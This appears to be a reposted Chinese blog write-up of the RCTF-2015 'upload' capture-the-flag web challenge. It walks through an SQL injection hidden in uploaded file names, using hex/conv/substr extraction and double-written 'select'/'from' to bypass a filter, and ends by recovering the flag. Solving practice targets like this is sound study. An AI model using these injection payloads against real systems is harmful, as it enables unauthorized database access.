XCTF WEB upload(RCTF-2015)

XCTF WEB upload(RCTF-2015)

两百多天未解决的问题了,,,,
打开题目,发现需要登录注册,,注册登陆之后需要我们进行文件上传:
在这里插入图片描述
估摸着登录页面与注册页面没有漏洞,,,,,毕竟题目提示就是让我们上传,,
上传的套路都试过,只能上传jpg图片,,,,其他一律不行,,,而且不知道路径为多少,,,
在这里插入图片描述
jpg图片上传成功之后有个提示:
在这里插入图片描述
奇怪的uid,,,,,数据库编号之类的,,,上传文件会在页面进行显示,,
怀疑图片会存放到数据库中,,图片名可能存在sql注入,,,
上传一个1'.jpg的图片发现页面中没有任何显示,,,可能是由于sql语句报错引起的!
后端可能的数据库插入语句为

INSERT INTO `xxx`(`id`, `name`) VALUES ('id号','图片名')

自己利用数据库进行测试,发现图片名为'+database()+'.jpg时,数据库中得到的结果是0,,,,
重新构造'+hex(database())+'.jpg时,数据库中存放的才是16进制的数字,,,
在这里插入图片描述
构造'+hex(database())+'.jpg进行上传,得到页面回显:7765625
能转化为web,,,有不有后面的5都能转化为web,不应该,,,后面可能有缺少
再通过conv函数将16进制转化为10进制进行输出,,'+(conv(hex(database()),16,10))+'.jpg
在这里插入图片描述
可能数太长使用了科学计数法进行表示,,重新构造,利用mid函数进行分割:

'+(conv(mid(hex(database()),1,12),16,10))+'.jpg

发现提示SQL注入,,,
在这里插入图片描述
换成substr函数:

'+(conv(substr(hex(database()),1,12),16,10))+'.jpg

回显:131277325825392
转化之后得到了字符串:“web_up”
继续:

'+(conv(substr(hex(database()),13,12),16,10))+'.jpg

回显:1819238756
转化之后得到字符串:“load”
ok,考试构造sql语句进行爆表:

'+(conv(substr(hex((select table_name from information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

发现过滤了select,,还有from,,,
在这里插入图片描述
尝试进行双写绕过:

'+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

成功绕过,得到回显:114784820031327
得到字符串:“hello_”
继续得到回显:112615676665705
得到字符串:“flag_i”
继续得到回显:126853610566245
得到字符串:“s_here”
ok,得到表名:hello_flag_is_here
继续爆列名:

'+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

继续得到回显:115858377367398
得到字符串:“i_am_f”
继续得到回显:7102823
得到字符串:“lag”
得到列名:i_am_flag
接下来最后一步,爆值:

'+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

继续得到回显:36427215695199
得到字符串:“!!_@m_”
继续得到回显:92806431727430
得到字符串:“Th.e_F”
继续得到回显:560750951
得到字符串:“!lag”
得到flag值:!!_@m_Th.e_F!lag

一路的坎坷,考察点是sql注入,但是不知道考察点在何处就怎么做也做不出来,,,,
而且过程也有点难顶,没有耐心的估计也坚持不下去,

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/103477359